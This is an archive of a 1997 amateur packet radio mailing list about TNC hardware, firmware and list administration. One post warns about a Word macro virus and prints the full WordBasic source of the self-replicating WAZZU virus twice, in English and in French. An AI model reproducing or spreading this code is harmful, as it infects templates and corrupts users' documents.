AHByQnER4nN0ZW0CgzN3AuQHEwKAfQqACM8J2TvxFg8yNTUCgAqBDbELYOBuZzEwMxRQCwoUUQUL
8mMN4CBIRUxQ6xnNE1BvE9BjBUAKhRUxAgAdUAMAEBAAAAAAAwAREAAAAABAAAcw4Cz6csB1vAFA
AAgw4Cz6csB1vAEeAD0AAQAAAAEAAAAAAAAAyE8=

------ =_NextPart_000_01BC75D1.6205E760--
```

3. Mail to tmoulton Returned

```
From: RAMAIL-ADM@ram.net
Date: Tue, 2 Sep 97 13:40:53 -0400
To: tapr-tnc@tapr.org
Message-ID: <9709021740.AA25063@ram.net>
Rendered body type: text/plain
```

```
The following message is being returned unread.

The message is addressed properly but the addressee
has not accessed their mailbox for at least 7 days

******
******  Message To: tmoulton@ram.net (Tom Moulton)
******
******  Unread Message Follows:
******

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Subject: [TAPR-TNC:344]
Date: Sun, 1 Jun 1997 08:00:46 -0500 (CDT)
Reply-To: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
To: tapr-tnc@tapr.org
Received: Sun, 1 Jun 97 09:45:21 EDT -0400

        Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP
```

Posting rejected?

This mailing list accepts postings only from subscribers. If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.

Problems with your internet provider?

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE. This should be extremely
unlikely but if it happens, DO NOT PANIC: Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

****
  Statement of Purpose
****

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated. Please
try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and

http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

4. Mail to tmoulton Returned

From: RAMAIL-ADM@ram.net
Date: Tue, 2 Sep 97 13:41:01 -0400
To: tapr-tnc@tapr.org
Message-ID: <9709021741.AA25088@ram.net>
Rendered body type: text/plain

The following message is being returned unread.

The message is addressed properly but the addressee
has not accessed their mailbox for at least 7 days

******
****** Message To: tmoulton@ram.net (Tom Moulton)
******
****** Unread Message Follows:
******

From: Robert Campbell <Robin19@xs4all.nl>
Subject: [TAPR-TNC:347] Is there a problem?
Date: Fri, 13 Jun 1997 10:55:32 -0500 (CDT)
Reply-To: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
To: tapr-tnc@tapr.org
Received: Fri, 13 Jun 97 13:37:51 EDT -0400

------ =_NextPart_000_01BC7821.57663060
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

HELP
I seem to have a problem with the TNC sig. I don't recieve any postings =
from the sig. Is there anything wrong with my system or is this a silent =
sig?

Thanx for any answers!

Robert Campbell (Robin19@xs4all.nl)
                        (http://www.xs4all.nl/~robin19/)

------ =_NextPart_000_01BC7821.57663060
Content-Type: application/ms-tnef
Content-Transfer-Encoding: base64

eJ8+Ii0PAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAENgAQAAgAAAAIAAgABBJAG
ABABAAABAAAADAAAAAMAADADAAAACwAPDgAAAAACAf8PAQAAAEEAAAAAAAAAgSsfpL6jEBmdbgDd
AQ9UAgAAAAB0YXByLXRuY0B0YXByLm9yZwBTTVRQAHRhcHItdG5jQHRhcHIub3JnAAAAAB4AAjAB
AAAABQAAAFNNVFAAAAAAHgADMAEAAAASAAAAdGFwci10bmNAdGFwci5vcmcAAAADABUMAQAAAAMA
/g8GAAAAHgABMAEAAAAUAAAAJ3RhcHItdG5jQHRhcHIub3JnJwACAQswAQAAABcAAABTTVRQOlRB
UFItVE5DQFRBUFIuT1JHAAADAAA5AAAAAAsAQDoBAAAAAgH2DwEAAAAEAAAAAAAAAwgvAQiABwAY
AAAASVBNLk1pY3Jvc29mdCBNYWlsLk5vdGUAMQgBBIABABQAAABJcyB0aGVyZSBhIHByb2JsZW0/
AMUGAQWAAwAOAAAAzQcGAA0AEQAqADsABQBiAQEggAMADgAAAM0HBgANABEAKgAfAAUARgEBCYAB
ACEAAABGMTAyOUUyODEzRTREMDExQkJGRjAwMjBBOTAxMEQ3NQABBwEDkAYA/AIAABIAAAALACMA
AAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAEAAOQBgin54EHi8AR4AcAABAAAAFAAAAElzIHRo
ZXJlIGEgcHJvYmxlbT8AAgFxAAEAAAAWAAAAAbx4EHh+KJ4C8uQTEdC7/wAgqQENdQAAHgAeDAEA
AAAFAAAAU01UUAAAAAAeAB8MAQAAABIAAABSb2JpbjE5QHhzNGFsbC5ubAAAAAMABhDwJiDPAwAH
EMcAAAAeAAgQAQAAAGUAAABIRUxQSVNFRU1UT0hBVkVBUFJPQkxFTVdJVEhUSEVUTkNTSUdJRE9O
VFJFQ0lFVkVBTllQT1NUSU5HU0ZST01USEVTSUdJU1RIRVJFQU5ZVEhJTkdXUk9OR1dJVEhNWVNZ
U1RFAAAAAAIBCRABAAAAiwEAAIcBAACDAgAATFpGdbHK2vT/AAoBDwIVAqgF6wKDAFAC8gkCAGNo
CsBzZXQyNwYABsMCgzIDxQIAcHJCcRHic3RlbQKDM3cC5AcTAoB9CoAIzwnZO/EWDzI1NQKACoEN
sQtg4G5nMTAzFFALChRRKwvyE1BvE9BjBUBIRWRMUAqFSSARsBPgIAh0byARgHZlIGGeIBqxAmAc
IQPwdGgcQCJoHLBUTkMb8Glnai4b0WQCICcFQBYQY9MIkByibnkc4G8TwAuA/mcEIANSHbMeRAQg
HcEWEH8fgh2QIBEdYANgIjIdgm31H7BzE7MgBbEEAB2xI+HfHNAAkB0wAjAeMj8KhQqF8lQRgG54
IFAFsR+SAHGydwSQcyElPAgAYgSQoQVAQ2FtcChwbAMgBigoUQuAMTlAeHOCNAdAbC5ubCkKhhMB
kSrpKGgCQHA6L5QvdyxgLinnL34dAQ0pki8qdgqLbGkxOIIwAtFpLTE0NA3wZwzQL8MLWTE2Gqcu
XTNeNjBnGk0KhRUxADUgAAMAEBAAAAAAAwAREAAAAABAAAcwoFbdZxB4vAFAAAgwoFbdZxB4vAEe
AD0AAQAAAAEAAAAAAAAAVL8=

------ =_NextPart_000_01BC7821.57663060--

5. Mail to tmoulton Returned

```
From: RAMAIL-ADM@ram.net
Date: Tue, 2 Sep 97 13:41:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <9709021741.AA25095@ram.net>
Rendered body type: text/plain
```

The following message is being returned unread.

The message is addressed properly but the addressee
has not accessed their mailbox for at least 7 days

******
****** Message To: tmoulton@ram.net (Tom Moulton)
******
****** Unread Message Follows:
******

From: Orville Beach <Orv@micom.com>
Subject: [TAPR-TNC:348] Is there a problem? -Reply
Date: Fri, 13 Jun 1997 12:08:44 -0500 (CDT)
Reply-To: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
To: tapr-tnc@tapr.org
X-Mailer: Novell GroupWise 4.1
Received: Fri, 13 Jun 97 14:38:57 EDT -0400

Robert, it's just a very quiet SIG.

73 - Orv - w6bi
orv@micom.com

>>> Robert Campbell <Robin19@xs4all.nl> 06/13/97 07 55am >>>
HELP
I seem to have a problem with the TNC sig. I don't recieve any
postings from the sig. Is there anything wrong with my system or
is this a silent sig?

Thanx for any answers!

Robert Campbell (Robin19@xs4all.nl)
                        (http://www.xs4all.nl/~robin19/)

6. Mail to tmoulton Returned

```
From: RAMAIL-ADM@ram.net
Date: Tue, 2 Sep 97 13:41:03 -0400
To: tapr-tnc@tapr.org
Message-ID: <9709021741.AA25102@ram.net>
Rendered body type: text/plain
```

The following message is being returned unread.

The message is addressed properly but the addressee
has not accessed their mailbox for at least 7 days

******
****** Message To: tmoulton@ram.net (Tom Moulton)
******
****** Unread Message Follows:
******

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Subject: [TAPR-TNC:349] Is there a problem?
Date: Fri, 13 Jun 1997 14:49:21 -0500 (CDT)
Reply-To: tapr-tnc@tapr.org
Sender: tapr-tnc@tapr.org
To: tapr-tnc@tapr.org
Received: Fri, 13 Jun 97 16:48:34 EDT -0400

Robert Campbell writes:
 >
 > ------ =_NextPart_000_01BC7821.57663060
 > Content-Type: text/plain; charset="us-ascii"
 > Content-Transfer-Encoding: quoted-printable
 >
 > HELP
 > I seem to have a problem with the TNC sig. I don't recieve any postings =
 > from the sig. Is there anything wrong with my system or is this a silent =
 > sig?

Silent sig :)

7. ADMIN - This may go on for some time... (ram.net)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 2 Sep 1997 14:18:44 -0400
To: tapr-tnc@tapr.org
Message-ID: <199709021818.OAA01405@penny.n2wx.ampr.org>
Rendered body type: text/plain

Regarding the braindead stuff out of ram.net, it seems this list was.
not set up for subscriber only posts. Obviously a big mistake.

I suspect quite a few messages are backed up.

Do feel free to pillory ram.net for their unwise decision to send
non-standard bounce messages that few or no list processors recognize.

8. Unsubscribe

From: Ed Kaprocki <kaprocki@iag.net>
Date: Wed, 3 Sep 1997 21:14:40 -0400
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BCB8AE.75C81B40@d069.aspg.fl.iag.net>
Rendered body type: text/plain

[Empty message body]

9. Re: [TAPR-TNC:402] Unsubscribe

From: bobsmith@i2020.net (Robert L Smith)
Date: Thu, 04 Sep 1997 09:04:55 -0400
To: tapr-tnc@tapr.org
Message-ID: <19970904131502.AAD15023@OZZIE>
Rendered body type: text/plain

At 08:22 PM 9/3/97 -0500, you wrote:
>
>Attachment Converted: C:\NETSCAPE\EUDORA\ATTCHMNT\TAPR-TN3
>

Sending this to the list won't work.

Here is the last 'periodic announcement' from Howie.

From: hgoldste@mpcs.com
To: tapr-tnc@tapr.org

        Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
****

To Unsubscribe:

To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

For help with the listproc

The list processor TAPR runs has many interesting features. Please check
them out at your leisure. To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject. In the message body write

    HELP

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SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel free to send the above SET message to remind the server about your ability to receive mail.

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****

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 o - Announcements of the above
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 o - and anything else reasonably resembling the above
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   WWW to http://www.tapr.org/tapr/

and
http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

---- Avoid computer viruses -- Practice safe hex --------------
* * Specializing in small, cost effective embedded control systems * *
Robert L. (Bob) Smith Smith Machine Works, Inc.
internet bobsmith@i2020.net 9900 Lumlay Road
landline 804/745-1065 Richmond, Virginia 23236+1004

10. RE: [TAPR-TNC:390] Digital Elmer Wanted

From: "Ogborn, Roy W" <OGBORRW@texaco.com>
Date: Thu, 4 Sep 1997 10:37:32 -0500
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <c=US%a=MCI%p=TEXACO%l=MSX01002-970904153732Z-51654@exchange.texaco.com>
Rendered body type: text/plain

Well, I didn't get any response from my original request for help.

If you've built and used a TAPR AN93 (or if you have one to sell), and won't mind answering a few questions, I'd really appreciate hearing from you.

Thanks & (72 + 1)!

Roy Ogborn - KI0ER
ki0er@amsat.org
>

11. INFO VIRUS english/french text

From: F1ryv@aol.com
Date: Thu, 4 Sep 1997 12:14:58 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <970904121300_-1133272638@emout20.mail.aol.com>
Rendered body type: text/plain

ATTENTION VIRUS

Dear hello Friend!

If as me you use WORD 6.0 under:

* WINDOWS 3.1
* WIN95

You will be interesting by this present message:

Indeed, since some times a virus "macro" runs on the net, and on exchanged diskettes and is, my time, enough constricting held account the result of its action. SCAN-ANTI-VIRUS of MARCH 97 is capable to delete it, therefore these that possess a ulterior version has MARCH 97 will be able very easily to come some has end!

I have put you has the continuation of this message the source code of the virus "WAZZU" and to these that that concerns, I could have put them in a neighbor E-Mail a "macro" that allows ENOUGH efficient manner to delete it, but nothing costs a good anti-virus!

A last small "knack" so as to avoid all other "contagion" !
Go in the menu "TOOLS" of WORD 6.0, then go in "OPTIONS" then face on the "table" that you have ahead eyes, cliquez on the tab "RECORDING" , and put a cross on the option "confirmation of the recording of NORMAL.DOT" thus you will know when your file of configuration will be modified!

Good hunts to viruses. ..

SOURCE OF "WAZZU"
==========

```
Sub MAIN
        On Error Goto errCaught

        FichierResume .MiseAJour
        Dim dlg As FichierResume
        GetCurValues dlg
```

```
        fileMacro$ = dlg.Repertoire + "\" + dlg.NomFichier + ":autoOpen"
        globMacro$ = "global:autoOpen"
        MacroFile$ = UCase$(Right$(NomFichierMacro$(NomMacro$(0)), 10))

        If MacroFile$ = "NORMAL.DOT" Then
                MacroCopie globMacro$, fileMacro$
                FichierEnregistrerSous .Format = 1
        Else
                MacroCopie fileMacro$, globMacro$
        End If

        Payload

Goto bye
errCaught:

bye:
                On Error Goto 0

End Sub

Sub Payload
        For i = 1 To 3
                If Rnd() < 0.2 Then
                        RndWord
                        SelectionnerMotCour
                        selWord$ = Selection$()
                        SupprimerMot
                        RndWord
                        Insertion selWord$ + " "
                End If
        Next

        If Rnd() < 0.25 Then
                RndWord
                Insertion "wazzu "
                DebutDocument
        End If

End Sub

Sub RndWord
        FichierResume .MiseAJour
        Dim dlg As StatistiquesDocument
        GetCurValues dlg
        wordNum = Int(Rnd() * Val(dlg.Mots))
        DebutDocument
        MotDroite wordNum
End Sub

END OF THE SOURCE OF "WAZZU"
============================

For any other information, address me an E-Mail, to the extent of the
 possible I would stain to reply there.  ..

TO soon

73 of Laurent

================================================================================

INFORMATION VIRUS




Cher Ami bonjour !

     Si comme moi vous utilisez WORD 6.0 sous :
          * WINDOWS 3.1
          * WIN95

Vous serez interresse par ce present message :

     En effet, depuis quelques temps un virus "macro" court sur le net, et
sur disquettes interchangees et est, ma fois, assez genant compte tenu du
resultat de son action. SCAN-ANTI-VIRUS de MARS 97 est capable de
l'heradiquer, donc ceux qui possedent une version ulterieur a MARS 97
```

pourront tres facilement en venir a bout !

     Je vous ai mis a la suite de ce message le code source du virus "WAZZU" et pour ceux que cela interesse, je pourrais leur mettre dans un prochain E-Mail une macro qui permet de facon ASSEZ efficace de l'heradiquer, mais rien ne vaut un bon anti-virus !

     Un dernier petit "truc" afin d'eviter toute autre "contagion" ! allez dans le menu "OUTILS" de WORD 6.0, ensuite allez dans "OPTIONS" puis face au "tableau" que vous avez devant les yeux, cliquez sur l'onglet "ENREGISTREMENT", et mettez une croix sur l'option "confirmation de l'enregistrement de NORMAL.DOT" ainsi vous saurez quand votre fichier de configuration sera modifie !

     Bonne chasse aux virus...

SOURCE DE "WAZZU"
==========

```
Sub MAIN
        On Error Goto errCaught

        FichierResume .MiseAJour
        Dim dlg As FichierResume
        GetCurValues dlg

        fileMacro$ = dlg.Repertoire + "\" + dlg.NomFichier + ":autoOpen"
        globMacro$ = "global:autoOpen"
        MacroFile$ = UCase$(Right$(NomFichierMacro$(NomMacro$(0)), 10))

        If MacroFile$ = "NORMAL.DOT" Then
                MacroCopie globMacro$, fileMacro$
                FichierEnregistrerSous .Format = 1
        Else
                MacroCopie fileMacro$, globMacro$
        End If

        Payload

Goto bye
errCaught:

bye:
                On Error Goto 0

End Sub

Sub Payload
        For i = 1 To 3
                If Rnd() < 0.2 Then
                        RndWord
                        SelectionnerMotCour
                        selWord$ = Selection$()
                        SupprimerMot
                        RndWord
                        Insertion selWord$ + " "
                End If
        Next

        If Rnd() < 0.25 Then
                RndWord
                Insertion "wazzu "
                DebutDocument
        End If

End Sub

Sub RndWord
        FichierResume .MiseAJour
        Dim dlg As StatistiquesDocument
        GetCurValues dlg
        wordNum = Int(Rnd() * Val(dlg.Mots))
        DebutDocument
        MotDroite wordNum
End Sub
```

FIN DE LA SOURCE DE "WAZZU"

==========

Pour tout autre renseignement, adressez moi un e-mail, dans la mesure du
possible je tacherais d'y repondre...

A tres bientot
73 de Laurent

12. SELL... french/english text

From: F1ryv@aol.com
Date: Thu, 4 Sep 1997 12:15:24 -0400 (EDT)
To: tapr-tnc@tapr.org
Message-ID: <970904121319_-1837066686@emout08.mail.aol.com>
Rendered body type: text/plain

Je vends un oscilloscope de marque METRIX
   * modele ITT OX-720
   * Double Trace
   * Prix : 500 Fr

Telephone : 04-73-89-38-26 apres 19 heures.

==========

I sell an oscilloscope of mark METRIX

   * model ITT OX-720
   * Double Traces
   * Price: 500 Fr

Telephone: 04-73-89-38-26 after 19 hours.

13. Re: [TAPR-TNC:404] RE: Digital Elmer Wanted

From: Jack Heller <jheller@sierra.net>
Date: Fri, 05 Sep 1997 09:01:49 -0700
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.32.19970905090149.006cdc3c@pop3.sierra.net>
Rendered body type: text/plain

At 10:43 AM 9/4/97 -0500, you wrote:
>Well, I didn't get any response from my original request for help.

Hi Roy,

        I saw your original posting and thought you would be deluged help. There
seem to be a lot of friendly folks around. I don't think I qualify as to
give much advice, so I didn't jump in.

>If you've built and used a TAPR AN93 (or if you have one to sell), and
>won't mind answering a few questions, I'd really appreciate hearing from
>you.

        And this is the specific area that I, like you, would like to explore.
But that will be a ways into the future with too many current projects in
the fire.

        I just wanted to drop you a line of encouragement. Perhaps there are many
such as myself who hesitate at Elmering something we feel is difficult at
best.

        Good luck,

        73   Jack   KB7NO

14. RE: [TAPR-TNC:407] RE: Digital Elmer Wanted

From: "Ogborn, Roy W" <OGBORRW@texaco.com>
Date: Mon, 8 Sep 1997 08:59:00 -0500
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <c=US%a=MCI%p=TEXACO%l=MSX01002-970908135900Z-57316@exchange.texaco.com>
Rendered body type: text/plain

Thanks Jack.

I reposted after getting no initial response because I thought that
everyone probably assumed I'd be overwhelmed with help, so did not offer
any assistance. I don't know how widely followed this list server is

... so far your post is the only one I've received. I've asked TAPR
directly for info too, and the only thing they told me is they were very
busy and would get back to me sometime (that was about a month ago).
They couldn't even tell me what availability of the kit was at this
point. Pretty discouraging.

I would have liked to experiment with the AN93, but I'll probably end up
going w/ the TigerTronics Multi-mode controller (or may try to find a
good used Kam Plus) and learning about using HF Digital modes by myself
due to lack of response from TAPR and this list-server "tapr-tnc".

My brother-in-law went with a commercial marine HF service called P-Sea
Email which uses the SITOR protocol, which I've been told is the same as
AMTOR. So, with some luck I suppose we could communicate directly on
the Ham Bands. He went w/ the commercial service instead of Amateur
Radio because he could not find enough information/help quickly enough
to be fully set-up by his departure date (which I think is November this
year).

Let me know how your progress goes in the HF digital world. I'd be
interested in learning about your future experiences.

73!

Roy Ogborn
ki0er
ki0er@amsat.org

Roy Ogborn
Texaco - Information Systems - Denver
Tx: 621-4473

>-----Original Message-----
>From: Jack Heller [SMTP:jheller@sierra.net]
>Sent: Friday, September 05, 1997 10:23 AM
>To: tapr-tnc@tapr.org
>Subject: [TAPR-TNC:407] RE: Digital Elmer Wanted
>
>At 10:43 AM 9/4/97 -0500, you wrote:
>>Well, I didn't get any response from my original request for help.
>
>Hi Roy,
>
>   I saw your original posting and thought you would be deluged help. There
>seem to be a lot of friendly folks around. I don't think I qualify as to
>give much advice, so I didn't jump in.
>
>
>>If you've built and used a TAPR AN93 (or if you have one to sell), and
>>won't mind answering a few questions, I'd really appreciate hearing from
>>you.
>
>   And this is the specific area that I, like you, would like to explore.
>But that will be a ways into the future with too many current projects in
>the fire.
>
>   I just wanted to drop you a line of encouragement. Perhaps there are many
>such as myself who hesitate at Elmering something we feel is difficult at
>best.
>
>   Good luck,
>
>   73   Jack   KB7NO
>
>
>

15. Re: [TAPR-TNC:408] RE: Digital Elmer Wanted

From: Jack Heller <jheller@sierra.net>
Date: Mon, 08 Sep 1997 19:37:46 -0700
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.32.19970908193746.006d0630@pop3.sierra.net>
Rendered body type: text/plain

At 09:06 AM 9/8/97 -0500, you wrote:

  I don't know how widely followed this list server is
>.. so far your post is the only one I've received.

>
>I would have liked to experiment with the AN93, but I'll probably end up
>going w/ the TigerTronics Multi-mode controller (or may try to find a
>good used Kam Plus) and learning about using HF Digital modes by myself
>due to lack of response from TAPR and this list-server "tapr-tnc".

>My brother-in-law went with a commercial marine HF service called P-Sea
>Email which uses the SITOR protocol, which I've been told is the same as
>AMTOR. So, with some luck I suppose we could communicate directly on
>the Ham Bands. He went w/ the commercial service instead of Amateur
>Radio because he could not find enough information/help quickly enough
>to be fully set-up by his departure date (which I think is November this
>year).
>
>Let me know how your progress goes in the HF digital world. I'd be
>interested in learning about your future experiences.
>
Hi Roy,

I sat here for a minute wondering whether to send this back to you by private mail or to post it. Perhaps some will take notice and get involved. This group isn't as active as the HFSIG group, but there are a fair amount of postings.

I have gone the TigerTronics BayPac BP-2M route and it is a good unit. They *do* offer a challenge, however. I am using it with my laptop for portable packet. It works well with the Baycom DOS that comes with it and also the Wintnc program available on the TigerTronics website.

The BayPac is a software intensive device and this dictates that the system must have Windows shut down entirely to run the DOS software either for packet or the HF modes with HamCom software I mention below.

Incidentally Roy, I just looked up at your message and you called the BP-2M a controller. It is not a terminal node controller. The geniuses who got these things to work are over in the Munich, Germany area and they have a whole different outlook on life. The secret is in the software. I am not smart enough to tell you how they do it, but it is altogether different than the TNC method. Packet is a big item in the UK and Europe. Much is being done with these software driven devices there that we don't hear much about on this side of the water.

It was just tricky enough getting the laptop to cooperate for packet that I am not sure I can heartily recommend it as a first time modem. To get it to operate on the HF modes, there is a software package, HamComm, that was supplied. Thus far, i have not been able to get that software to key the rig. It appears that it does not address the serial port. I am going to work on that more in the coming week. Otherwise the software looks like it will be a performer. It goes through all the right calesthenics such as proper tones for the various modes.

I have a PK232 MBX which is a great machine, but no longer available new. AEA went out of business and Timewave is the new owner, mfr, caretaker and they are said to be doing a good job of service. There are a number of PK 232s on the market used and Timewave will repair and/or upgrade them.

I haven't had experience with the Kantronics line, but everyone I know who uses them can't seem to understand where the rest of us came from. That is a good sign. I would advise that you take a good look at them and choose what will suit your needs if you are in a hurry to get up and running with your first digital station. It will probably be the road of least resistance.

Kantronics offers GTOR which is similar to Pactor. There is so much Pactor out there, that the qualifier for me would be that the unit would have to do Pactor as well as the other modes. I think they do. Pactor is my favorite and the BayPac does not do it. The HamCom software claims to read it but not send it.

There are also other software options available for the Kantronics machines. I found some excellent aftermarket software for the AEA from XPWare. Something had created a bug in the PK 232 and the XPWare brought it back to life. Hard to understand how things get so screwed up in these new-fangled contraptions. Never had that kind of trouble with CW. <grin>

Well Roy, it is good to converse with you. As I say, I am not an engineer, just a somewhat misguided user who usually manages to learn how to get these contraptions to work with minimal help. (Well, that isn't true, God must take pity on me some times and gives me a nudge at just the opportune moment.)

Enough for now, hope this helps,

73 Jack KB7NO Carson City, NV

16. Re: [TAPR-TNC:393] TNC2-NL

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Mon, 08 Sep 1997 08:09:18 +0200
To: tapr-tnc@tapr.org
Message-ID: <3413968E.170E@t-online.de>
Rendered body type: text/plain

Robert Campbell wrote:
>
> The TNC2-NL is designed on the basis of the Z80 range of processors.. It is cheap.. About $ 75.00 (If you build it yourself from a kit) It normally has the wad-8-ed software on it but the eprom configuration can be changed to allow it to run the TAPR software as well. As I said I am looking for a designed PCB for this which I can then etch at home.
>
> The website where most of the TNC2 info I have found is located is at:
> http://www.pointnet.nl/sp3bax/tnc2/tnc.html
> I hope you find it interesting!
>
many info about TNC2 is also found at http://symek.com

Ulf, DK9SJ
--
Ulf Kumm, DK9SJ, Mail: ulfkumm@symek.com

October 1997

Original source file: tapr-tnc.9710
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9710

1. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 1 Oct 1997 00:00:03 -0400
To: tapr-tnc@tapr.org
Message-ID: <199710010400.AAA05856@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

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Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

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                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Packet and Windows CE?

From: "Michael F. Santos" <mfsantos@wsii.com>
Date: Sun, 12 Oct 1997 17:05:45 -0400
To: <tapr-tnc@tapr.org>
Message-ID: <199710122106.RAA07742@nccunix2.wsii.com>
Rendered body type: text/plain

I just bought a H/PC (HandHeld PC) running Windows CE and a TNC. Is any
one running packet on a H/PC with Windows CE? Is so, can you please help me
out in setting it up.

Thanks for any help.

73, Michael, AA1SL
mfsantos@wsii.com

3. Re: [TAPR-TNC:401] ADMIN - This may go on for some time... (ram.net)

From: "Thomas A. Moulton" <w2vy@gte.net>
Date: Fri, 24 Oct 1997 22:07:08 -0500
To: tapr-tnc@tapr.org, hg@penny.n2wx.ampr.org
Message-ID: <34516255.DCB22125@gte.net>
Rendered body type: text/plain

also feel free to beat me up...

howie please delete tmoulton@ram.net from the various tapr lists

```
--
-------------------------------------------
Thomas A. Moulton, W2VY
ROSE X.25 Packet Switch http://www.rats.org/rose
Need Cosmetics?         http://home1.gte.net/w2vy/marykay.htm
```

4. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 1 Nov 1997 00:00:03 -0500
To: tapr-tnc@tapr.org
Message-ID: <199711010500.AAA01192@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
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73 Howie N2WX

November 1997

Original source file: tapr-tnc.9711
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9711

1. GPS NMEA-Filter and KODEN GSU-14 gps receiver

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Sun, 23 Nov 1997 14:56:14 +0100
To: tapr-tnc@tapr.org
Message-ID: <347835FE.67A1@t-online.de>
Rendered body type: text/plain

We tried the NMEA-Filter functions of TAPR 1.1.9 TNC2 firmware
with a Garmin gps and it worked well most of the time.

We have now a cheap Koden GSU-14 gps receiver board which makes
problems in connection with TNC2.

The gps cannot be configured and sends all gps-data every second
(4800 baud, nearly no pause between intervals).

The TNC2 (4,9 MHz clock, 1200 Baud radio) receives the first few
packets properly and sends them as beacon as desired.
But after some time, the extracted $GPxx sentences become corrupt.
Parts are missing or the beacon'ed data consists of fragments of two
$GPxx sentences.

Beacons are sent regularly, but not updated. When re-starting
the TNC, everything runs normal ... for some minutes.

Did everybody observe such behaviour?
May it be a speed problem due to continuous RS232 data flow?
Does anybody know a solution ?

73! Ulf
--
Ulf Kumm, DK9SJ, Mail: ulfkumm@symek.com

2. (no subject)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 1 Dec 1997 00:00:04 -0500
To: tapr-tnc@tapr.org
Message-ID: <199712010500.AAA03217@penny.n2wx.ampr.org>
Rendered body type: text/plain

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Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
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73 Howie N2WX

December 1997

Original source file: tapr-tnc.9712
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9712

1. Checksum for 1.1.8a?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 31 Dec 1997 17:30:30 -0500
To: tapr-tnc@tapr.org
Message-ID: <199712312230.RAA00326@penny.n2wx.ampr.org>
Rendered body type: text/plain

Please copy any reply directly to Mark <wm7d@wm7d.net> if you have the
answer.

I'll try to set the reply-to header but it probably won't work.

HNY

------- start of forwarded message (RFC 934 encapsulation) -------
